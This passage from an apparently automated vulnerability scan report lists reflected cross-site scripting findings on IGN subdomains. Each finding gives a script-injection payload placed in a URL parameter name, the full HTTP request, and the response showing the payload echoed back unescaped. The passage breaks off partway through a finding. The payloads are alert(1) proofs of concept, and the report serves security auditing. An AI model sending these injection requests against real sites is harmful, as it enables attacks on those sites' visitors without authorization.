Expires: Mon, 07 Feb 2011 02:16:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:58 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Dragon Age II
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/080/080342.html?e265f"><script>alert(1)</script>5d610558be=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.756. http://xbox360.ign.com/objects/142/14221217.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/142/14221217.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae742"><script>alert(1)</script>1f4275153f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/142/14221217.html?ae742"><script>alert(1)</script>1f4275153f1=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123759
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=7m857fg71jl16;Path=/includes
Set-Cookie: freq=c-1297044996529v-1n-12mc+1297044996529mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-2016824535-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:36 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Two Worlds II
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/142/14221217.html?ae742"><script>alert(1)</script>1f4275153f1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.757. http://xbox360.ign.com/objects/142/14221217.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/142/14221217.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f716"-alert(1)-"b384d3a576e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/142/14221217.html?6f716"-alert(1)-"b384d3a576e=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123451
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=bcpjiy9pxmc;Path=/includes
Set-Cookie: freq=c-1297044999354v-1n-12mc+1297044999354mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-1289591857-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:39 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Two Worlds II
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/142/14221217.html?6f716"-alert(1)-"b384d3a576e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.758. http://xbox360.ign.com/objects/142/14235014.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/142/14235014.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b3fa0"-alert(1)-"2946ac69844 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/142/14235014.html?b3fa0"-alert(1)-"2946ac69844=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 118248
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=fmsp4ostgdtbm;Path=/includes
Set-Cookie: freq=c-1297045004899v-1n-12mc+1297045004899mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-1184985626-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:45 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Mass Effect 3
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/142/14235014.html?b3fa0"-alert(1)-"2946ac69844=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.759. http://xbox360.ign.com/objects/142/14235014.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/142/14235014.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a41ce"><script>alert(1)</script>14edd48db78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/142/14235014.html?a41ce"><script>alert(1)</script>14edd48db78=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 118389
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=1hohmyt8cfbn2;Path=/includes
Set-Cookie: freq=c-1297045002819v-1n-12mc+1297045002819mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-456041884-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:43 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Mass Effect 3
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/142/14235014.html?a41ce"><script>alert(1)</script>14edd48db78=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.760. http://xbox360.ign.com/objects/142/14293266.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/142/14293266.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a404"><script>alert(1)</script>c961416613b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/142/14293266.html?2a404"><script>alert(1)</script>c961416613b=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 125506
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=5rcm91e4u5hda;Path=/includes
Set-Cookie: freq=c-1297045015997v-1n-12mc+1297045015997mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-964106256-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:56 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:56 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Dead Space 2<
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/142/14293266.html?2a404"><script>alert(1)</script>c961416613b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.761. http://xbox360.ign.com/objects/142/14293266.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/142/14293266.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81090"-alert(1)-"8b3adce0e92 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/142/14293266.html?81090"-alert(1)-"8b3adce0e92=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 125470
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=17krylor9pqpp;Path=/includes
Set-Cookie: freq=c-1297045021984v-1n-12mc+1297045021984mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-26665073-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:01 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:17:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:02 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Dead Space 2<
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/142/14293266.html?81090"-alert(1)-"8b3adce0e92=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.762. http://xbox360.ign.com/objects/143/14304771.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/143/14304771.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0a75"><script>alert(1)</script>187fe42abbf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/143/14304771.html?e0a75"><script>alert(1)</script>187fe42abbf=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 122530
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=n0zwffkgka8w;Path=/includes
Set-Cookie: freq=c-1297045012013v-1n-12mc+1297045012013mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-274107688-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:51 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:52 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Gears of War
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/objects/143/14304771.html?e0a75"><script>alert(1)</script>187fe42abbf=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.763. http://xbox360.ign.com/objects/143/14304771.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/objects/143/14304771.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf78b"-alert(1)-"115af8c91d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/143/14304771.html?cf78b"-alert(1)-"115af8c91d=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 122581
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=i7jvuqs9vph6;Path=/includes
Set-Cookie: freq=c-1297045018828v-1n-12mc+1297045018828mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-2106544507-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:16:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:59 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Gears of War
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/objects/143/14304771.html?cf78b"-alert(1)-"115af8c91d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.764. http://xboxlive.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b5989"-alert(1)-"30ca619f21a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?b5989"-alert(1)-"30ca619f21a=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1826874469-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045062600v-1n-12mc+1297045062600mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 151614

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Xbox Live Arca
...[SNIP]...
script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xboxlive.ign.com/?b5989"-alert(1)-"30ca619f21a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.765. http://xboxlive.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2c0d"><script>alert(1)</script>67b228cd27f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?c2c0d"><script>alert(1)</script>67b228cd27f=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:40 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-688075564-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045060488v-1n-12mc+1297045060488mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 151436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Xbox Live Arca
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xboxlive.ign.com/?c2c0d"><script>alert(1)</script>67b228cd27f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.766. http://xboxlive.ign.com/articles/113/1134848p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/articles/113/1134848p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb601"><script>alert(1)</script>922cc7a71a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/113/1134848p1.html?eb601"><script>alert(1)</script>922cc7a71a1=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-1308954981-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045064362v-1n-12mc+1297045064362mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121346

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xboxlive.ign.com/articles/113/1134848p1.html?eb601"><script>alert(1)</script>922cc7a71a1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.767. http://xboxlive.ign.com/articles/113/1134848p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/articles/113/1134848p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 827af"-alert(1)-"685ae1b1d8f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/113/1134848p1.html?827af"-alert(1)-"685ae1b1d8f=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-573569943-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045067168v-1n-12mc+1297045067168mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 123530

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
eGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xboxlive.ign.com/articles/113/1134848p1.html?827af"-alert(1)-"685ae1b1d8f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.768. http://xboxlive.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 85e1c"-alert(1)-"1f2bcbd38e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/games.html?85e1c"-alert(1)-"1f2bcbd38e3=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:43 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-234274251-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297045063685v-1n-12mc+1297045063685mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=e894klp2knnn;Path=/indx
Set-Cookie: JSESSIONID=3r59l4ppf8ilq;Path=/indx
Set-Cookie: JSESSIONID=dskmikmfr54n;Path=/indx
Content-Length: 134288

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Xbox Live Arca
...[SNIP]...
of _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xboxlive.ign.com/index/games.html?85e1c"-alert(1)-"1f2bcbd38e3=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.769. http://xboxlive.ign.com/index/games.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xboxlive.ign.com
Path:	/index/games.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a784f"><script>alert(1)</script>ebc02f90f3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/games.html?a784f"><script>alert(1)</script>ebc02f90f3a=1 HTTP/1.1
Host: xboxlive.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:17:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:17:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-338505136-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:17:42 GMT
